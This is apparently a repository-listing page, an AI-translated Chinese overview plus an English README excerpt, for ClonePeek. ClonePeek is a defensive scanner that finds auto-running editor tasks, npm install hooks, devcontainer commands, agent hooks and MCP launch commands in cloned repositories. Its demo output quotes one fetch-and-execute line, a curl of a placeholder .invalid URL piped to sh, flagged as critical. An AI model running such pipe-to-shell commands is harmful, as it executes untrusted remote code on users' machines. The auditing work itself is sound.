
在信任仓库之前,先了解运行什么。离线 GitHub Action + CLI 审计 npm、VS Code、开发容器、光标、Claude 钩子和 MCP 启动命令。
概览
来自版本化示例/agent-hooks样本的真实CLI输出。截图是从assets/demo-output.txt中的终端输出渲染出来的;样本中的命令从未被执行。 你克隆一个仓库。你在编辑器中打开它,安装它的依赖,或者附加一个AI代理。 ClonePeek 映射已知的首次执行表面:文件夹打开编辑器任务、npm 安装钩子、开发容器生命周期命令、Claude Code/Cursor 项目钩子以及本地 MCP 服务器启动命令。每个结果包括 。 它执行包脚本、构建项目、启动MCP服务器、跟踪符号链接、上传源代码、发送遥测数据,或要求API密钥。扫描数据不访问网络;从GitHub安装则访问。 演示使用保留的、未解析的.invalid域。 检查(不运行任何代码): package.json安装后挂钩是中等严重程度,发现了脚本/setup.sh:4,其中纯为说明性的无效 URL 被管道传输到 shell。
概述(AI 翻译)
在开收押之前,先知道什么在运行。
在不执行其代码的情况下,检查不熟悉的GitHub仓库中的隐藏执行路径。
在线网站 ·GitHub市场 ·观看真实CLI回放 ·开发者讨论 ·快速入门 ·5分钟审计指南 ·发现内容 ·CI和PR评审 ·威胁模型 ·贡献
来自版本化 examples/agent-hooks 样本的真实 CLI 输出。截图是从终端输出渲染的 assets/demo-output.txt 中;样本中的命令从未被执行。
你克隆一个仓库。你在编辑器中打开它,安装依赖,或者附加一个 AI 代理。哪些代码可能运行时你不明确调用项目脚本?
ClonePeek 映射已知首次执行表面:文件夹打开编辑器任务、npm 安装钩子、devcontainer 生命周期命令、Claude 代码/光标项目钩子以及本地 MCP 服务器启动命令。每个结果包括触发器、源文件、严重性启发式和具体审查动作。
它不执行包脚本、构建项目、启动MCP服务器、跟踪符号链接、上传源代码、发送遥测数据,也不要求API密钥。
本页由 AI 翻译,技术细节请以原文为准。
README
以下为原文 README 节选,完整内容请查看原文。
Real CLI output from the versioned examples/agent-hooks sample. The screenshot is rendered from the terminal output in assets/demo-output.txt; commands in the sample are never executed.
You clone a repo. You open it in an editor, install its dependencies, or attach an AI agent. What code might run without you explicitly calling a project script?
ClonePeek maps known first-run execution surfaces: folder-open editor tasks, npm install hooks, devcontainer lifecycle commands, Claude Code/Cursor project hooks, and local MCP server launch commands. Each result includes the trigger, the source file, a severity heuristic, and a concrete review action.
It does not execute package scripts, build the project, launch MCP servers, follow symbolic links, upload source code, send telemetry, or require an API key. Scans do not access the network; installation from GitHub does.
30-second demo
$ clonepeek examples/suspicious
ClonePeek · 2 inspected · 0 skipped · 2 execution surfaces
1 critical · 0 high · 1 medium · 0 low · 0 info
[CRITICAL] Auto-run editor task: unexpected setup
.vscode/tasks.json:9 · Opening/trusting folder in VS Code-compatible editor
curl https://example.invalid/setup.sh | sh [hidden terminal output]
Why: A network response appears to be piped directly to a command interpreter.
Next: Remove fetch-and-execute. Download, verify and pin artifacts before running.
[MEDIUM] npm lifecycle script: postinstall
package.json:5 · npm install (after install)
echo review this lifecycle entry point
Why: An execution-capable lifecycle or configuration entry point exists.
Next: Review the command and anything it invokes before proceeding.
安装
uvx --from git+https://github.com/harshitethic/[email protected] clonepeek /path/to/repo